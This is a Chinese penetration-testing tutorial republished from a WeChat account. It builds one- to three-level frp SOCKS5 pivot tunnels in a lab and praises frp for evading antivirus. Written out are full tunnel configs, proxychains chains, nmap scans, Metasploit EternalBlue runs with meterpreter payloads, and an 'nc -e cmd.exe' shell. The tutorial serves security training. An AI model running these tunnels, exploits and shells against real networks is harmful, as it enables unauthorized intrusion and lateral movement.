点击上方蓝字 关注我吧
上篇主要讲一些常见的隧道搭建方法,比较常见的LCK端口转发,EW隧道,NC隧道都有复现
这篇我会完整的复现我比较常用的frp隧道搭建,包括怎么从一级代理到二级代理,以及环境配置
技多不压身,学习渗透总要多学习一些方法,对于我们总是好的,若是文章有错误或者不足,请多多指正
frp隧道代理
一、简介
搭建frp服务器进行内网穿透,可用且推荐,可以达到不错的速度,且理论上可以开放任何想要的端口,可以实现的功能远不止远程桌面或者文件共享
frp就是一个反向代理软件,它体积轻量但功能很强大,可以使处于内网或防火墙后的设备对外界提供服务 ,它支持HTTP、TCP、UDP等众多协议。我们今天仅讨论TCP和UDP相关的内容
二、frp知识
下载地址
https://github.com/fatedier/frp/releases
本文从一级代理到三级代理都完整写下每一个步骤,在使用frp的时候,必须分清楚是32位还是64位,win的和linux使用方法也不一样,frp分为客户端和服务端,也要严格分清楚
linux的系统需要先给执行权限,再frp执行命令。Windows的直接frps -c frps.ini就行
chmod +x frps //给执行权限
./frps -c frps.ini //举例子,要结合实际
三、配置文件扩展
按需求可以自己添加上
bind_addr = #绑定的ip,为本机
bind_port = #绑定的端口
dashboard_addr = #管理地址
dashboard_port = #管理端口
dashboard_user = #管理的用户名
dashboard_pwd = #管理用户的密码
token = #客户端服务端连接的密码
heartbeat_timeout = #心跳超时时间
max_pool_count = #最大同时连接数
四、frp优点
-
免杀
-
命令简单
不管几级代理frp命令都是:服务端的exe文件 -c 服务端配置文件
-
逻辑简单
-
frp只走socks5的代理
socks5比较稳定,支持协议比socks4多 ,流量转发也快
五、一级代理
一级代理比较简单,分别配置客户端以及服务端文件就行
1、环境
我使用45.x.x.97作为我的vps
另一个以己经在cs上线的web服务器来作为演示
2、演示
a、文件配置
靶机:
# frpc.ini
[common]
server_addr = 45.x.x.97
server_port = 11000
[http_proxy]
type = tcp
remote_port = 11666
plugin = socks5
VPS:
# frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 11000
b、开启顺序
先在VPS建立服务端
然后在靶机开启客户端
c、VPS
先编辑好frps.ini文件
d、上传,运行
linux的系统需要先给执行权限,再frp执行命令。Windows的直接frps -c frps.ini就行
chmod +x frps 给执行权限
./frps -c frps.ini
3、靶机
编辑好文件
cs上传文件
//1proxy是存放代理文件的文件夹名
一级代理成功!
代理成功,使用proxy测试
ip:45.x.x.97 端口;11666
六、二级代理
二级代理环境和三级代理的环境需要自己配置,或者实战需要也可以
1、网络环境
Kali 192.168.1.53 桥接模式
vps 149.129.65.126
centos 192.168.1.63 桥接模式
192.168.111.63 NAT模式
Win7-1 192.168.111.57 NAT模式
192.168.88.57 仅主机模式
Win7-2 192.168.88.58 仅主机模式
2、演示
Centos 映射socks5代理到VPS:9999端口使Kali(攻击者)可访问内网111网段
Win7-1映射socks5代理到Centos:8888端口,使Kali(攻击者)可访问88网段
Kali通过VPS999端口访问111然后通过8888端口访问88网段资源
攻击88.58,建立centos和VPS之间的socks5代理
root@VPS:~/frp_0.33.0_linux_amd64# vim free.ini
[common]
bind_port = 7000
authentication_method = token
token = xuegod123456
root@VPS:~/frp_0.33.0_linux_amd64# ./frps -c free.ini
a、Centos frpc配置
[root@xuegod63 frp_0.33.0_linux_amd64]# vim frpc.ini
[common]
server_addr = 149.129.65.126
server_port = 7000
token = xuegod123456
[socks9999]
type = tcp
remote_port = 9999
plugin = socks5
use_encryption = true
use_compression = true
[root@xuegod63 frp_0.33.0_linux_amd64]# ./frpc -c frpc.ini
b、Kali配置代理链
(rootxuegod53)-[~]
# vim /etc/proxychains4.conf
socks5 149.129.65.126 9999
可以访问111网段的所有资源
# proxychains4 nmap -Pn -sT -p 445 192.168.111.57
不能访问88网段所有的资源,我们前面可以通过centos直接访问88网段是因为我们基于centos的session配置了路由才可以访问目标
# proxychains4 nmap -Pn -sT -p 445 192.168.88.57
通过二级代理实现88网段的访问,Win7-1映射socks5代理到Centos
[root@xuegod63 frp_0.33.0_linux_amd64]# vim f2.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
[root@xuegod63 frp_0.33.0_linux_amd64]# ./frps -c f2.ini
c、Win7-1
frpc.ini配置文件内容
[common]
server_addr = 192.168.111.63
server_port = 7000
[socks5_8888]
type = tcp
remote_port = 8888
plugin = socks5
use_encryption = true
use_compression = true
C:frp_0.33.0_windows_amd64frp_0.33.0_windows_amd64>frpc.exe -c frpc.ini
配置代理链,这里写新增centos的ip地址可以写1网段或者111都可以
(rootxuegod53)-[~]
# vim /etc/proxychains4.conf
[ProxyList]
socks5 149.129.65.126 9999
socks5 192.168.111.63 8888
# proxychains4 nmap -Pn -sT -p 445 192.168.88.57
#proxychains4 nmap -Pn -sT -p 445 192.168.88.58
# proxychains msfdb run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.88.58
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
meterpreter > ifconfig
3、总结
使用socks5代理建立二级代理无需设置路由即可访问整个网段资源,payload依旧建议使用Bind类型
七、三级代理
做之前我们不要动前面的二级代理环境,退出MSF即可
meterpreter > exit
msf6 exploit(windows/smb/ms17_010_eternalblue) > exit
1、网络环境
Kali 192.168.1.53 桥接模式
vps 149.129.65.126
Centos 192.168.1.63 桥接模式
192.168.111.63 NAT模式
Win7-1 192.168.111.57 NAT模式
192.168.88.57 仅主机模式
Win7-2 192.168.88.58 仅主机模式
新增 192.168.77.58 仅主机模式
通常来说我们应该加一台机器,但是机器开太多我们配置不够,所以直接在Win7-2添加一个新网段的网卡就可以了
2、实现过程
Centos 映射socks5代理到VPS:9999端口使Kali(攻击者)可访问内网111网段
Win7-1映射socks5代理到Centos:8888端口,使Kali(攻击者)可访问88网段
Win7-2映射socks5代理到Win7-1: 7777端口,使Kali(攻击者)可访问77网段
a、添加一张虚拟网卡
这边VMnet名称自动的直接确定即可
修改网段为77
b、Win7-2添加网卡
选择VMnet2 刚刚创建的网络
给我们新增的网卡配置IP地址
c、Win7-1配置frps
frps.ini配置文件
[common]
bind_addr = 0.0.0.0
bind_port = 7000
启动frps
C:frp_0.33.0_windows_amd64frp_0.33.0_windows_amd64>frps.exe -c frps.ini
d、Win7-2配置frpc
frpc.ini配置文件
[common]
server_addr = 192.168.88.57
server_port = 7000
[socks5_7777]
type = tcp
remote_port = 7777
plugin = socks5
use_encryption = true
use_compression = true
启动frpc
C:frp_0.33.0_windows_amd64frp_0.33.0_windows_amd64>frpc.exe -c frpc.ini
配置代理链
(rootxuegod53)-[~]
# vim /etc/proxychains4.conf
[ProxyList]
socks5 149.129.65.126 9999
socks5 192.168.111.63 8888
socks5 192.168.88.57 7777
扫描77.58的445
# proxychains4 nmap -Pn -sT -p 445 192.168.77.58
# proxychains msfdb run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.77.58
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
e、排错
如果看到访问192.168.77.58 time out 直接重新run,因为攻击如果没有成功77.58就不会侦听4444端口,所以此时可以到Win7-2看一下4444端口是否开启。如果没有开启说明exp利用没有成功
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
meterpreter > ifconfig
注:通常frp内网穿透用NC做实验会比较方便一些,msf利用的话有一些不可控因素,比如exp是否执行成功。个别网络原因无法通过MSF验证的同学建议使用NC
kali中NC位置:/usr/share/windows-binaries/nc.exe
例如:Win7-2
C:UsersAdministrator>nc -Ldp 443 -e cmd.exe
Kali
(rootxuegod53)-[~]
# proxychains nc -v 192.168.77.59 443
C:UsersAdministrator>ipconfig
Linux中代理链使用proxychains
Windows中代理链使用Proxifier
原创 | 内核缓冲区溢出3--开启kaslr
原文始发于微信公众号(SecIN技术平台):原创 | 内网渗透之隐藏隧道搭建(下)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论